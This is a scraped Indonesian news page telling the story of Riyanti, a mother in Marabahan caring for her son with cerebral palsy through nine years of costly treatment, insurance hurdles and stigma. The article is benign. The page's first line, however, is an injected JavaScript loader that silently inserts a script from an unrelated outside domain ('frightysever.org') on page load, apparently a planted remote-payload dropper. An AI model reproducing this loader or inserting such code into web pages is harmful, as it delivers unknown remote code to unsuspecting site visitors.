(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Riyanti, Kisah Perjuangan Seorang Ibu Selama Sembilan Tahun Rawat Anaknya yang Menderita Cerebal Palsy


KANALKALIMANTAN.COM, MARABAHAN – “Harus kuat, karena Saya lah satu-satunya harapan bagi Novan,” Riyanti tak mampu membendung airmatanya mengalir . Mungkin sudah tak terhitung lagi tetesan airmata yang telah dijatuhkannya. Kenyataan pilu harus dihadapi. Novan, anak satu-satunya telah divonis menderita penyakit langka Cerebal Palsy yang menyebabkan kelumpuhan. Sembilan tahun telah dilalui demi ikhtiar kesembuhan sang anak tercinta.

Meski demikian, gurat ketegaran lekat di wajahnya. Harapan itu mengukir dalam senyuman hangat yang Ia hadirkan kala memyambut reporter kanalkalimantan.com di rumahnya, di Desa Sido Makmur Kecamatan Marabahan Kabupaten Barito Kuala, beberapa waktu lalu.

Bersama Novan di pangkuan, Riyanti pun bercerita bagaimana getir perjuangan yang telah dilaluinya. Semua berawal ketika Novan mengalami demam dan disentri di usia 6 bulan. Riyanti pun segera membawanya ke Puskesmas. Lalu di usia 8 bulan, kepala Novan belum juga bisa tegak. Upaya Riyanti selanjutnya membawa Novan ke Rumah Sakit (RS) di Banjarmasin. CT Scan dan pemeriksaan darah dilakukan, namun tidak ditemukan penyakitnya. Hingga pada usia 1 tahun, saat kembali diperiksa di rumah sakit, dokter menyebut bahwa Novan menderita Cerebal Palsy.

“Karena pengobatan akan makan waktu lama, beberapa rekan senasib menyarankan bikin jamkesmas,” tutur Riyanti.

“Namun, ada kendala administrasi yang menyebabkan Novan tidak bisa mendapatkan jaminan,” imbuhnya.

Meski begitu, Riyanti dan suami terus berjuang dengan biaya sendiri. Tahun demi tahun dijalani terasa makin berat. Apalagi suami Riyanti hanyalah seorang petani dengan penghasilan tak menentu. Riyanti sendiri tak bisa membantu mencari nafkah karena harus menjaga Novan.

Akhirnya, tahun 2014 Riyanti dan suami memutuskan ikut program BPJS. “Alhamdulillah lumayan lebih ringan sih, meski bayar tapi tidak langsung besar,” ucapnya.

Tapi rupanya ujian masih menghampiri. Menginjak usia 5 tahun, Novan divonis menderita pneumonia atau radang paru-paru. Hal itu mengharuskan Novan menggunakan selang NGT di hidung untuk makan selama sekitar 1 tahun. Sempat dilepas, akhirnya pada usia 7 tahun Novan harus kembali memakai selang NGT untuk makan. Hingga sekarang.

Bolak balik dari Desa Sido Makmur ke Banjarmasin menjadi perjuangan yang cukup berat bagi Riyanti. Tak banyak pilihan baginya. Layanan pengobatan untuk Cerebal Palsy hanya ada di RS Ulin Banjarmasin. “Ongkosnya sih lumayan besar bisa sampai Rp 400 ribu karena saya harus ditemani ibu, kalau obat bisa pakai BPJS,” terang Riyanti.

 

Status Novan saat ini memang masih menjadi tanggungjawab RS Ulin Banjarmasin  mengingat berat badan Novan hanya 13 kg di usia 9 tahun 2 bulan ini. Hal ini rupanya berdampak pada penggunaan kartu BPJS yang dimiliki Riyanti. Kartu tersebut tidak bisa dipakai di Marabahan. “Kalau nebus obat di sini (Marabahan) tetap bayar,” ucapnya pilu.

Menjadi harapan satu-satunya bagi Novan, membuat Riyanti harus menjadi wanita kuat. Tetapi, bagaimana pun Ia hanyalah manusia biasa. Rasa sedih pun sering menyapa. Terlebih jika menyangkut Novan.

Tak jarang Riyanti mendengar komentar tak menyenangkan soal penyakit anaknya. “Masih banyak yang tidak tau soal Cerebal Palsy, akhirnya diolok-olok. Sedih mendengarnya, tapi ya harus dihadapi,” Riyanti mengukir senyum tipis di bibirnya.

Riyanti mengaku telah menggadaikan sertifikat rumah demi biaya pengobatan. Sang suami pun bekerja tak kenal waktu. “Cincin nikah saya pun sudah terjual,” lirih Riyanti berkata. Novan telah menjadi prioritas hidupnya.

“Demi Novan, insyaAllah kami rela melakukan apapun sampai kapanpun,” tutup Riyanti. Ia bersama suami bahkan memiliki kesepakatan untuk tidak memiliki anak lagi sebelum pengobatan untuk Novan tuntas.

Kasih Ibu tak terhingga sepanjang masa. Begitu bait sebuah lagu anak yang kerap kita dengar. Ternyata tak hanya sekedar syair, kasih Ibu telah menyelamatkan dan membahagiakan begitu banyak anak manusia. (Kanalkalimantan.com/Retno)

 

Reporter : Retno
Editor : Cell

 


Desy Arfianty

Recent Posts

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

3 menit ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

16 menit ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

45 menit ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

1 jam ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

2 jam ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

2 jam ago

This website uses cookies.